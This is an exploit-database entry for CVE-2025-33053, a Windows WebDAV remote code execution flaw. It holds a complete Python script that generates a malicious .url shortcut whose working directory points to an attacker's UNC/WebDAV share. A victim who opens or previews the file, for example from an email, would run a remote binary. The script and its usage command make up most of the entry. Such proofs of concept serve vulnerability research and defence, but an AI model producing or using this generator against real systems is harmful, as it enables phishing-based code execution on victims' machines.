WebDAV Windows 10 Remote Code Execution (RCE)

2025.07.02
Credit: Dev Bui Hieu
Risk: High
Local: No
Remote: Yes
CWE: N/A

Exploit Title: WebDAV Windows 10 - Remote Code Execution (RCE) Date: June 2025 Author: Dev Bui Hieu Tested on: Windows 10, Windows 11 Platform: Windows Type: Remote CVE: CVE-2025-33053 Description: This exploit leverages the behavior of Windows .URL files to execute a remote binary over a UNC path. When a victim opens or previews the .URL file (e.g. from email), the system may automatically reach out to the specified path (e.g. WebDAV or SMB share), leading to arbitrary code execution without prompt. ```bash python3 gen_url.py --ip 192.168.1.100 --out doc.url ``` import argparse def generate_url_file(output_file, url_target, working_directory, icon_file, icon_index, modified): content = f"""[InternetShortcut] URL={url_target} WorkingDirectory={working_directory} ShowCommand=7 IconIndex={icon_index} IconFile={icon_file} Modified={modified} """ with open(output_file, "w", encoding="utf-8") as f: f.write(content) print(f"[+] .url file created: {output_file}") def main(): parser = argparse.ArgumentParser(description="Generate a malicious .url file (UNC/WebDAV shortcut)") parser.add_argument('--out', default="bait.url", help="Output .url file name") parser.add_argument('--ip', required=True, help="Attacker IP address or domain name for UNC/WebDAV path") parser.add_argument('--share', default="webdav", help="Shared folder name (default: webdav)") parser.add_argument('--exe', default=r"C:\Program Files\Internet Explorer\iediagcmd.exe", help="Target executable path on victim machine") parser.add_argument('--icon', default=r"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe", help="Icon file path") parser.add_argument('--index', type=int, default=13, help="Icon index (default: 13)") parser.add_argument('--modified', default="20F06BA06D07BD014D", help="Fake Modified timestamp (hex string)") args = parser.parse_args() working_directory = fr"\\{args.ip}\{args.share}\\" generate_url_file( output_file=args.out, url_target=args.exe, working_directory=working_directory, icon_file=args.icon, icon_index=args.index, modified=args.modified ) if __name__ == "__main__": main()


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2025, cxsecurity.com

 

Back to Top